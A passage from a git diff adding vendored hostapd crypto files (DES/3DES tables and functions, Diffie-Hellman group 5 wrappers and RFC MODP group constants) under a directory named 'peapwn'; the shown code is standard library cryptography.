0x00002080UL, 0x00800080UL, + 0x00002000UL, 0x00802080UL, 0x00802081UL, 0x00000081UL, + 0x00800080UL, 0x00800001UL, 0x00802000UL, 0x00802081UL, + 0x00000081UL, 0x00000000UL, 0x00000000UL, 0x00802000UL, + 0x00002080UL, 0x00800080UL, 0x00800081UL, 0x00000001UL, + 0x00802001UL, 0x00002081UL, 0x00002081UL, 0x00000080UL, + 0x00802081UL, 0x00000081UL, 0x00000001UL, 0x00002000UL, + 0x00800001UL, 0x00002001UL, 0x00802080UL, 0x00800081UL, + 0x00002001UL, 0x00002080UL, 0x00800000UL, 0x00802001UL, + 0x00000080UL, 0x00800000UL, 0x00002000UL, 0x00802080UL +}; + +static const u32 SP5[64] = +{ + 0x00000100UL, 0x02080100UL, 0x02080000UL, 0x42000100UL, + 0x00080000UL, 0x00000100UL, 0x40000000UL, 0x02080000UL, + 0x40080100UL, 0x00080000UL, 0x02000100UL, 0x40080100UL, + 0x42000100UL, 0x42080000UL, 0x00080100UL, 0x40000000UL, + 0x02000000UL, 0x40080000UL, 0x40080000UL, 0x00000000UL, + 0x40000100UL, 0x42080100UL, 0x42080100UL, 0x02000100UL, + 0x42080000UL, 0x40000100UL, 0x00000000UL, 0x42000000UL, + 0x02080100UL, 0x02000000UL, 0x42000000UL, 0x00080100UL, + 0x00080000UL, 0x42000100UL, 0x00000100UL, 0x02000000UL, + 0x40000000UL, 0x02080000UL, 0x42000100UL, 0x40080100UL, + 0x02000100UL, 0x40000000UL, 0x42080000UL, 0x02080100UL, + 0x40080100UL, 0x00000100UL, 0x02000000UL, 0x42080000UL, + 0x42080100UL, 0x00080100UL, 0x42000000UL, 0x42080100UL, + 0x02080000UL, 0x00000000UL, 0x40080000UL, 0x42000000UL, + 0x00080100UL, 0x02000100UL, 0x40000100UL, 0x00080000UL, + 0x00000000UL, 0x40080000UL, 0x02080100UL, 0x40000100UL +}; + +static const u32 SP6[64] = +{ + 0x20000010UL, 0x20400000UL, 0x00004000UL, 0x20404010UL, + 0x20400000UL, 0x00000010UL, 0x20404010UL, 0x00400000UL, + 0x20004000UL, 0x00404010UL, 0x00400000UL, 0x20000010UL, + 0x00400010UL, 0x20004000UL, 0x20000000UL, 0x00004010UL, + 0x00000000UL, 0x00400010UL, 0x20004010UL, 0x00004000UL, + 0x00404000UL, 0x20004010UL, 0x00000010UL, 0x20400010UL, + 0x20400010UL, 0x00000000UL, 0x00404010UL, 0x20404000UL, + 0x00004010UL, 0x00404000UL, 0x20404000UL, 0x20000000UL, + 0x20004000UL, 0x00000010UL, 0x20400010UL, 0x00404000UL, + 0x20404010UL, 0x00400000UL, 0x00004010UL, 0x20000010UL, + 0x00400000UL, 0x20004000UL, 0x20000000UL, 0x00004010UL, + 0x20000010UL, 0x20404010UL, 0x00404000UL, 0x20400000UL, + 0x00404010UL, 0x20404000UL, 0x00000000UL, 0x20400010UL, + 0x00000010UL, 0x00004000UL, 0x20400000UL, 0x00404010UL, + 0x00004000UL, 0x00400010UL, 0x20004010UL, 0x00000000UL, + 0x20404000UL, 0x20000000UL, 0x00400010UL, 0x20004010UL +}; + +static const u32 SP7[64] = +{ + 0x00200000UL, 0x04200002UL, 0x04000802UL, 0x00000000UL, + 0x00000800UL, 0x04000802UL, 0x00200802UL, 0x04200800UL, + 0x04200802UL, 0x00200000UL, 0x00000000UL, 0x04000002UL, + 0x00000002UL, 0x04000000UL, 0x04200002UL, 0x00000802UL, + 0x04000800UL, 0x00200802UL, 0x00200002UL, 0x04000800UL, + 0x04000002UL, 0x04200000UL, 0x04200800UL, 0x00200002UL, + 0x04200000UL, 0x00000800UL, 0x00000802UL, 0x04200802UL, + 0x00200800UL, 0x00000002UL, 0x04000000UL, 0x00200800UL, + 0x04000000UL, 0x00200800UL, 0x00200000UL, 0x04000802UL, + 0x04000802UL, 0x04200002UL, 0x04200002UL, 0x00000002UL, + 0x00200002UL, 0x04000000UL, 0x04000800UL, 0x00200000UL, + 0x04200800UL, 0x00000802UL, 0x00200802UL, 0x04200800UL, + 0x00000802UL, 0x04000002UL, 0x04200802UL, 0x04200000UL, + 0x00200800UL, 0x00000000UL, 0x00000002UL, 0x04200802UL, + 0x00000000UL, 0x00200802UL, 0x04200000UL, 0x00000800UL, + 0x04000002UL, 0x04000800UL, 0x00000800UL, 0x00200002UL +}; + +static const u32 SP8[64] = +{ + 0x10001040UL, 0x00001000UL, 0x00040000UL, 0x10041040UL, + 0x10000000UL, 0x10001040UL, 0x00000040UL, 0x10000000UL, + 0x00040040UL, 0x10040000UL, 0x10041040UL, 0x00041000UL, + 0x10041000UL, 0x00041040UL, 0x00001000UL, 0x00000040UL, + 0x10040000UL, 0x10000040UL, 0x10001000UL, 0x00001040UL, + 0x00041000UL, 0x00040040UL, 0x10040040UL, 0x10041000UL, + 0x00001040UL, 0x00000000UL, 0x00000000UL, 0x10040040UL, + 0x10000040UL, 0x10001000UL, 0x00041040UL, 0x00040000UL, + 0x00041040UL, 0x00040000UL, 0x10041000UL, 0x00001000UL, + 0x00000040UL, 0x10040040UL, 0x00001000UL, 0x00041040UL, + 0x10001000UL, 0x00000040UL, 0x10000040UL, 0x10040000UL, + 0x10040040UL, 0x10000000UL, 0x00040000UL, 0x10001040UL, + 0x00000000UL, 0x10041040UL, 0x00040040UL, 0x10000040UL, + 0x10040000UL, 0x10001000UL, 0x10001040UL, 0x00000000UL, + 0x10041040UL, 0x00041000UL, 0x00041000UL, 0x00001040UL, + 0x00001040UL, 0x00040040UL, 0x10000000UL, 0x10041000UL +}; + + +static void cookey(const u32 *raw1, u32 *keyout) +{ + u32 *cook; + const u32 *raw0; + u32 dough[32]; + int i; + + cook = dough; + for (i = 0; i < 16; i++, raw1++) { + raw0 = raw1++; + *cook = (*raw0 & 0x00fc0000L) << 6; + *cook |= (*raw0 & 0x00000fc0L) << 10; + *cook |= (*raw1 & 0x00fc0000L) >> 10; + *cook++ |= (*raw1 & 0x00000fc0L) >> 6; + *cook = (*raw0 & 0x0003f000L) << 12; + *cook |= (*raw0 & 0x0000003fL) << 16; + *cook |= (*raw1 & 0x0003f000L) >> 4; + *cook++ |= (*raw1 & 0x0000003fL); + } + + os_memcpy(keyout, dough, sizeof(dough)); +} + + +static void deskey(const u8 *key, int decrypt, u32 *keyout) +{ + u32 i, j, l, m, n, kn[32]; + u8 pc1m[56], pcr[56]; + + for (j = 0; j < 56; j++) { + l = (u32) pc1[j]; + m = l & 7; + pc1m[j] = (u8) + ((key[l >> 3U] & bytebit[m]) == bytebit[m] ? 1 : 0); + } + + for (i = 0; i < 16; i++) { + if (decrypt) + m = (15 - i) << 1; + else + m = i << 1; + n = m + 1; + kn[m] = kn[n] = 0L; + for (j = 0; j < 28; j++) { + l = j + (u32) totrot[i]; + if (l < 28) + pcr[j] = pc1m[l]; + else + pcr[j] = pc1m[l - 28]; + } + for (/* j = 28 */; j < 56; j++) { + l = j + (u32) totrot[i]; + if (l < 56) + pcr[j] = pc1m[l]; + else + pcr[j] = pc1m[l - 28]; + } + for (j = 0; j < 24; j++) { + if ((int) pcr[(int) pc2[j]] != 0) + kn[m] |= bigbyte[j]; + if ((int) pcr[(int) pc2[j + 24]] != 0) + kn[n] |= bigbyte[j]; + } + } + + cookey(kn, keyout); +} + + +static void desfunc(u32 *block, const u32 *keys) +{ + u32 work, right, leftt; + int cur_round; + + leftt = block[0]; + right = block[1]; + + work = ((leftt >> 4) ^ right) & 0x0f0f0f0fL; + right ^= work; + leftt ^= (work << 4); + + work = ((leftt >> 16) ^ right) & 0x0000ffffL; + right ^= work; + leftt ^= (work << 16); + + work = ((right >> 2) ^ leftt) & 0x33333333L; + leftt ^= work; + right ^= (work << 2); + + work = ((right >> 8) ^ leftt) & 0x00ff00ffL; + leftt ^= work; + right ^= (work << 8); + + right = ROLc(right, 1); + work = (leftt ^ right) & 0xaaaaaaaaL; + + leftt ^= work; + right ^= work; + leftt = ROLc(leftt, 1); + + for (cur_round = 0; cur_round < 8; cur_round++) { + work = RORc(right, 4) ^ *keys++; + leftt ^= SP7[work & 0x3fL] + ^ SP5[(work >> 8) & 0x3fL] + ^ SP3[(work >> 16) & 0x3fL] + ^ SP1[(work >> 24) & 0x3fL]; + work = right ^ *keys++; + leftt ^= SP8[ work & 0x3fL] + ^ SP6[(work >> 8) & 0x3fL] + ^ SP4[(work >> 16) & 0x3fL] + ^ SP2[(work >> 24) & 0x3fL]; + + work = RORc(leftt, 4) ^ *keys++; + right ^= SP7[ work & 0x3fL] + ^ SP5[(work >> 8) & 0x3fL] + ^ SP3[(work >> 16) & 0x3fL] + ^ SP1[(work >> 24) & 0x3fL]; + work = leftt ^ *keys++; + right ^= SP8[ work & 0x3fL] + ^ SP6[(work >> 8) & 0x3fL] + ^ SP4[(work >> 16) & 0x3fL] + ^ SP2[(work >> 24) & 0x3fL]; + } + + right = RORc(right, 1); + work = (leftt ^ right) & 0xaaaaaaaaL; + leftt ^= work; + right ^= work; + leftt = RORc(leftt, 1); + work = ((leftt >> 8) ^ right) & 0x00ff00ffL; + right ^= work; + leftt ^= (work << 8); + /* -- */ + work = ((leftt >> 2) ^ right) & 0x33333333L; + right ^= work; + leftt ^= (work << 2); + work = ((right >> 16) ^ leftt) & 0x0000ffffL; + leftt ^= work; + right ^= (work << 16); + work = ((right >> 4) ^ leftt) & 0x0f0f0f0fL; + leftt ^= work; + right ^= (work << 4); + + block[0] = right; + block[1] = leftt; +} + + +/* wpa_supplicant/hostapd specific wrapper */ + +void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher) +{ + u8 pkey[8], next, tmp; + int i; + u32 ek[32], work[2]; + + /* Add parity bits to the key */ + next = 0; + for (i = 0; i < 7; i++) { + tmp = key[i]; + pkey[i] = (tmp >> i) | next | 1; + next = tmp << (7 - i); + } + pkey[i] = next | 1; + + deskey(pkey, 0, ek); + + work[0] = WPA_GET_BE32(clear); + work[1] = WPA_GET_BE32(clear + 4); + desfunc(work, ek); + WPA_PUT_BE32(cypher, work[0]); + WPA_PUT_BE32(cypher + 4, work[1]); + + os_memset(pkey, 0, sizeof(pkey)); + os_memset(ek, 0, sizeof(ek)); +} + + +void des_key_setup(const u8 *key, u32 *ek, u32 *dk) +{ + deskey(key, 0, ek); + deskey(key, 1, dk); +} + + +void des_block_encrypt(const u8 *plain, const u32 *ek, u8 *crypt) +{ + u32 work[2]; + work[0] = WPA_GET_BE32(plain); + work[1] = WPA_GET_BE32(plain + 4); + desfunc(work, ek); + WPA_PUT_BE32(crypt, work[0]); + WPA_PUT_BE32(crypt + 4, work[1]); +} + + +void des_block_decrypt(const u8 *crypt, const u32 *dk, u8 *plain) +{ + u32 work[2]; + work[0] = WPA_GET_BE32(crypt); + work[1] = WPA_GET_BE32(crypt + 4); + desfunc(work, dk); + WPA_PUT_BE32(plain, work[0]); + WPA_PUT_BE32(plain + 4, work[1]); +} + + +void des3_key_setup(const u8 *key, struct des3_key_s *dkey) +{ + deskey(key, 0, dkey->ek[0]); + deskey(key + 8, 1, dkey->ek[1]); + deskey(key + 16, 0, dkey->ek[2]); + + deskey(key, 1, dkey->dk[2]); + deskey(key + 8, 0, dkey->dk[1]); + deskey(key + 16, 1, dkey->dk[0]); +} + + +void des3_encrypt(const u8 *plain, const struct des3_key_s *key, u8 *crypt) +{ + u32 work[2]; + + work[0] = WPA_GET_BE32(plain); + work[1] = WPA_GET_BE32(plain + 4); + desfunc(work, key->ek[0]); + desfunc(work, key->ek[1]); + desfunc(work, key->ek[2]); + WPA_PUT_BE32(crypt, work[0]); + WPA_PUT_BE32(crypt + 4, work[1]); +} + + +void des3_decrypt(const u8 *crypt, const struct des3_key_s *key, u8 *plain) +{ + u32 work[2]; + + work[0] = WPA_GET_BE32(crypt); + work[1] = WPA_GET_BE32(crypt + 4); + desfunc(work, key->dk[0]); + desfunc(work, key->dk[1]); + desfunc(work, key->dk[2]); + WPA_PUT_BE32(plain, work[0]); + WPA_PUT_BE32(plain + 4, work[1]); +} diff --git a/peapwn/mods/hostap/src/crypto/des_i.h b/peapwn/mods/hostap/src/crypto/des_i.h new file mode 100644 index 000000000..c9563d220 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/des_i.h @@ -0,0 +1,25 @@ +/* + * DES and 3DES-EDE ciphers + * Copyright (c) 2006-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef DES_I_H +#define DES_I_H + +struct des3_key_s { + u32 ek[3][32]; + u32 dk[3][32]; +}; + +void des_key_setup(const u8 *key, u32 *ek, u32 *dk); +void des_block_encrypt(const u8 *plain, const u32 *ek, u8 *crypt); +void des_block_decrypt(const u8 *crypt, const u32 *dk, u8 *plain); + +void des3_key_setup(const u8 *key, struct des3_key_s *dkey); +void des3_encrypt(const u8 *plain, const struct des3_key_s *key, u8 *crypt); +void des3_decrypt(const u8 *crypt, const struct des3_key_s *key, u8 *plain); + +#endif /* DES_I_H */ diff --git a/peapwn/mods/hostap/src/crypto/dh_group5.c b/peapwn/mods/hostap/src/crypto/dh_group5.c new file mode 100644 index 000000000..ccdbfc812 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/dh_group5.c @@ -0,0 +1,40 @@ +/* + * Diffie-Hellman group 5 operations + * Copyright (c) 2009, 2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "dh_groups.h" +#include "dh_group5.h" + + +void * dh5_init(struct wpabuf **priv, struct wpabuf **publ) +{ + *publ = dh_init(dh_groups_get(5), priv); + if (*publ == NULL) + return NULL; + return (void *) 1; +} + + +void * dh5_init_fixed(const struct wpabuf *priv, const struct wpabuf *publ) +{ + return (void *) 1; +} + + +struct wpabuf * dh5_derive_shared(void *ctx, const struct wpabuf *peer_public, + const struct wpabuf *own_private) +{ + return dh_derive_shared(peer_public, own_private, dh_groups_get(5)); +} + + +void dh5_free(void *ctx) +{ +} diff --git a/peapwn/mods/hostap/src/crypto/dh_group5.h b/peapwn/mods/hostap/src/crypto/dh_group5.h new file mode 100644 index 000000000..abee8eaaf --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/dh_group5.h @@ -0,0 +1,18 @@ +/* + * Diffie-Hellman group 5 operations + * Copyright (c) 2009, 2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef DH_GROUP5_H +#define DH_GROUP5_H + +void * dh5_init(struct wpabuf **priv, struct wpabuf **publ); +void * dh5_init_fixed(const struct wpabuf *priv, const struct wpabuf *publ); +struct wpabuf * dh5_derive_shared(void *ctx, const struct wpabuf *peer_public, + const struct wpabuf *own_private); +void dh5_free(void *ctx); + +#endif /* DH_GROUP5_H */ diff --git a/peapwn/mods/hostap/src/crypto/dh_groups.c b/peapwn/mods/hostap/src/crypto/dh_groups.c new file mode 100644 index 000000000..58e94c393 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/dh_groups.c @@ -0,0 +1,1271 @@ +/* + * Diffie-Hellman groups + * Copyright (c) 2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto.h" +#include "random.h" +#include "dh_groups.h" + + +#ifdef ALL_DH_GROUPS + +/* RFC 4306, B.1. Group 1 - 768 Bit MODP + * Generator: 2 + * Prime: 2^768 - 2 ^704 - 1 + 2^64 * { [2^638 pi] + 149686 } + */ +static const u8 dh_group1_generator[1] = { 0x02 }; +static const u8 dh_group1_prime[96] = { + 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, + 0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34, + 0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1, + 0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74, + 0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22, + 0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD, + 0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B, + 0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37, + 0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45, + 0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6, + 0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x3A, 0x36, 0x20, + 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF +}; +static const u8 dh_group1_order[96] = { + 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, + 0xE4, 0x87, 0xED, 0x51, 0x10, 0xB4, 0x61, 0x1A, + 0x62, 0x63, 0x31, 0x45, 0xC0, 0x6E, 0x0E, 0x68, + 0x94, 0x81, 0x27, 0x04, 0x45, 0x33, 0xE6, 0x3A, + 0x01, 0x05, 0xDF, 0x53, 0x1D, 0x89, 0xCD, 0x91, + 0x28, 0xA5, 0x04, 0x3C, 0xC7, 0x1A, 0x02, 0x6E, + 0xF7, 0xCA, 0x8C, 0xD9, 0xE6, 0x9D, 0x21, 0x8D, + 0x98, 0x15, 0x85, 0x36, 0xF9, 0x2F, 0x8A, 0x1B, + 0xA7, 0xF0, 0x9A, 0xB6, 0xB6, 0xA8, 0xE1, 0x22, + 0xF2, 0x42, 0xDA, 0xBB, 0x31, 0x2F, 0x3F, 0x63, + 0x7A, 0x26, 0x21, 0x74, 0xD3, 0x1D, 0x1B, 0x10, + 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF +}; + +/* RFC 4306, B.2. Group 2 - 1024 Bit MODP + * Generator: 2 + * Prime: 2^1024 - 2^960 - 1 + 2^64 * { [2^894 pi] + 129093 } + */ +static const u8 dh_group2_generator[1] = { 0x02 }; +static const u8 dh_group2_prime[128] = { + 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, + 0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34, + 0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1, + 0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74, + 0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22, + 0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD, + 0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B, + 0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37, + 0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45, + 0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6, + 0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B, + 0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED, + 0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5, + 0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6, + 0x49, 0x28, 0x66, 0x51, 0xEC, 0xE6, 0x53, 0x81, + 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF +}; +static const u8 dh_group2_order[128] = { + 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, + 0xE4, 0x87, 0xED, 0x51, 0x10, 0xB4, 0x61, 0x1A, + 0x62, 0x63, 0x31, 0x45, 0xC0, 0x6E, 0x0E, 0x68, + 0x94, 0x81, 0x27, 0x04, 0x45, 0x33, 0xE6, 0x3A, + 0x01, 0x05, 0xDF, 0x53, 0x1D, 0x89, 0xCD, 0x91, + 0x28, 0xA5, 0x04, 0x3C, 0xC7, 0x1A, 0x02, 0x6E, + 0xF7, 0xCA, 0x8C, 0xD9, 0xE6, 0x9D, 0x21, 0x8D, + 0x98, 0x15, 0x85, 0x36, 0xF9, 0x2F, 0x8A, 0x1B, + 0xA7, 0xF0, 0x9A, 0xB6, 0xB6, 0xA8, 0xE1, 0x22, + 0xF2, 0x42, 0xDA, 0xBB, 0x31, 0x2F, 0x3F, 0x63, + 0x7A, 0x26, 0x21, 0x74, 0xD3, 0x1B, 0xF6, 0xB5, + 0x85, 0xFF, 0xAE, 0x5B, 0x7A, 0x03, 0x5B, 0xF6, + 0xF7, 0x1C, 0x35, 0xFD, 0xAD, 0x44, 0xCF, 0xD2, + 0xD7, 0x4F, 0x92, 0x08, 0xBE, 0x25, 0x8F, 0xF3, + 0x24, 0x94, 0x33, 0x28, 0xF6, 0x73, 0x29, 0xC0, + 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF +}; + +#endif /* ALL_DH_GROUPS */ + +/* RFC 3526, 2. Group 5 - 1536 Bit MODP + * Generator: 2 + * Prime: 2^1536 - 2^1472 - 1 + 2^64 * { [2^1406 pi] + 741804 } + */ +static const u8 dh_group5_generator[1] = { 0x02 }; +static const u8 dh_group5_prime[192] = { + 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, + 0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34, + 0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1, + 0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74, + 0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22, + 0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD, + 0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B, + 0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37, + 0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45, + 0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6, + 0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B, + 0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED, + 0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5, + 0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6, + 0x49, 0x28, 0x66, 0x51, 0xEC, 0xE4, 0x5B, 0x3D, + 0xC2, 0x00, 0x7C, 0xB8, 0xA1, 0x63, 0xBF, 0x05, + 0x98, 0xDA, 0x48, 0x36, 0x1C, 0x55, 0xD3, 0x9A, + 0x69, 0x16, 0x3F, 0xA8, 0xFD, 0x24, 0xCF, 0x5F, + 0x83, 0x65, 0x5D, 0x23, 0xDC, 0xA3, 0xAD, 0x96, + 0x1C, 0x62, 0xF3, 0x56, 0x20, 0x85, 0x52, 0xBB, + 0x9E, 0xD5, 0x29, 0x07, 0x70, 0x96, 0x96, 0x6D, + 0x67, 0x0C, 0x35, 0x4E, 0x4A, 0xBC, 0x98, 0x04, + 0xF1, 0x74, 0x6C, 0x08, 0xCA, 0x23, 0x73, 0x27, + 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF +}; +static const u8 dh_group5_order[192] = { + 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, + 0xE4, 0x87, 0xED, 0x51, 0x10, 0xB4, 0x61, 0x1A, + 0x62, 0x63, 0x31, 0x45, 0xC0, 0x6E, 0x0E, 0x68, + 0x94, 0x81, 0x27, 0x04, 0x45, 0x33, 0xE6, 0x3A, + 0x01, 0x05, 0xDF, 0x53, 0x1D, 0x89, 0xCD, 0x91, + 0x28, 0xA5, 0x04, 0x3C, 0xC7, 0x1A, 0x02, 0x6E, + 0xF7, 0xCA, 0x8C, 0xD9, 0xE6, 0x9D, 0x21, 0x8D, + 0x98, 0x15, 0x85, 0x36, 0xF9, 0x2F, 0x8A, 0x1B, + 0xA7, 0xF0, 0x9A, 0xB6, 0xB6, 0xA8, 0xE1, 0x22, + 0xF2, 0x42, 0xDA, 0xBB, 0x31, 0x2F, 0x3F, 0x63, + 0x7A, 0x26, 0x21, 0x74, 0xD3, 0x1B, 0xF6, 0xB5, + 0x85, 0xFF, 0xAE, 0x5B, 0x7A, 0x03, 0x5B, 0xF6, + 0xF7, 0x1C, 0x35, 0xFD, 0xAD, 0x44, 0xCF, 0xD2, + 0xD7, 0x4F, 0x92, 0x08, 0xBE, 0x25, 0x8F, 0xF3, + 0x24, 0x94, 0x33, 0x28, 0xF6, 0x72, 0x2D, 0x9E, + 0xE1, 0x00, 0x3E, 0x5C, 0x50, 0xB1, 0xDF, 0x82, + 0xCC, 0x6D, 0x24, 0x1B, 0x0E, 0x2A, 0xE9, 0xCD, + 0x34, 0x8B, 0x1F, 0xD4, 0x7E, 0x92, 0x67, 0xAF, + 0xC1, 0xB2, 0xAE, 0x91, 0xEE, 0x51, 0xD6, 0xCB, + 0x0E, 0x31, 0x79, 0xAB, 0x10, 0x42, 0xA9, 0x5D, + 0xCF, 0x6A, 0x94, 0x83, 0xB8, 0x4B, 0x4B, 0x36, + 0xB3, 0x86, 0x1A, 0xA7, 0x25, 0x5E, 0x4C, 0x02, + 0x78, 0xBA, 0x36, 0x04, 0x65, 0x11, 0xB9, 0x93, + 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF +}; + +#ifdef ALL_DH_GROUPS + +/* RFC 3526, 3. Group 14 - 2048 Bit MODP + * Generator: 2 + * Prime: 2^2048 - 2^1984 - 1 + 2^64 * { [2^1918 pi] + 124476 } + */ +static const u8 dh_group14_generator[1] = { 0x02 }; +static const u8 dh_group14_prime[256] = { + 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, + 0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34, + 0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1, + 0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74, + 0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22, + 0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD, + 0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B, + 0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37, + 0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45, + 0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6, + 0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B, + 0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED, + 0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5, + 0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6, + 0x49, 0x28, 0x66, 0x51, 0xEC, 0xE4, 0x5B, 0x3D, + 0xC2, 0x00, 0x7C, 0xB8, 0xA1, 0x63, 0xBF, 0x05, + 0x98, 0xDA, 0x48, 0x36, 0x1C, 0x55, 0xD3, 0x9A, + 0x69, 0x16, 0x3F, 0xA8, 0xFD, 0x24, 0xCF, 0x5F, + 0x83, 0x65, 0x5D, 0x23, 0xDC, 0xA3, 0xAD, 0x96, + 0x1C, 0x62, 0xF3, 0x56, 0x20, 0x85, 0x52, 0xBB, + 0x9E, 0xD5, 0x29, 0x07, 0x70, 0x96, 0x96, 0x6D, + 0x67, 0x0C, 0x35, 0x4E, 0x4A, 0xBC, 0x98, 0x04, + 0xF1, 0x74, 0x6C, 0x08, 0xCA, 0x18, 0x21, 0x7C, + 0x32, 0x90, 0x5E, 0x46, 0x2E, 0x36, 0xCE, 0x3B, + 0xE3, 0x9E, 0x77, 0x2C, 0x18, 0x0E, 0x86, 0x03, + 0x9B, 0x27, 0x83, 0xA2, 0xEC, 0x07, 0xA2, 0x8F, + 0xB5, 0xC5, 0x5D, 0xF0, 0x6F, 0x4C, 0x52, 0xC9, + 0xDE, 0x2B, 0xCB, 0xF6, 0x95, 0x58, 0x17, 0x18, + 0x39, 0x95, 0x49, 0x7C, 0xEA, 0x95, 0x6A, 0xE5, + 0x15, 0xD2, 0x26, 0x18, 0x98, 0xFA, 0x05, 0x10, + 0x15, 0x72, 0x8E, 0x5A, 0x8A, 0xAC, 0xAA, 0x68, + 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF +}; +static const u8 dh_group14_order[256] = { + 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, + 0xE4, 0x87, 0xED, 0x51, 0x10, 0xB4, 0x61, 0x1A, + 0x62, 0x63, 0x31, 0x45, 0xC0, 0x6E, 0x0E, 0x68, + 0x94, 0x81, 0x27, 0x04, 0x45, 0x33, 0xE6, 0x3A, + 0x01, 0x05, 0xDF, 0x53, 0x1D, 0x89, 0xCD, 0x91, + 0x28, 0xA5, 0x04, 0x3C, 0xC7, 0x1A, 0x02, 0x6E, + 0xF7, 0xCA, 0x8C, 0xD9, 0xE6, 0x9D, 0x21, 0x8D, + 0x98, 0x15, 0x85, 0x36, 0xF9, 0x2F, 0x8A, 0x1B, + 0xA7, 0xF0, 0x9A, 0xB6, 0xB6, 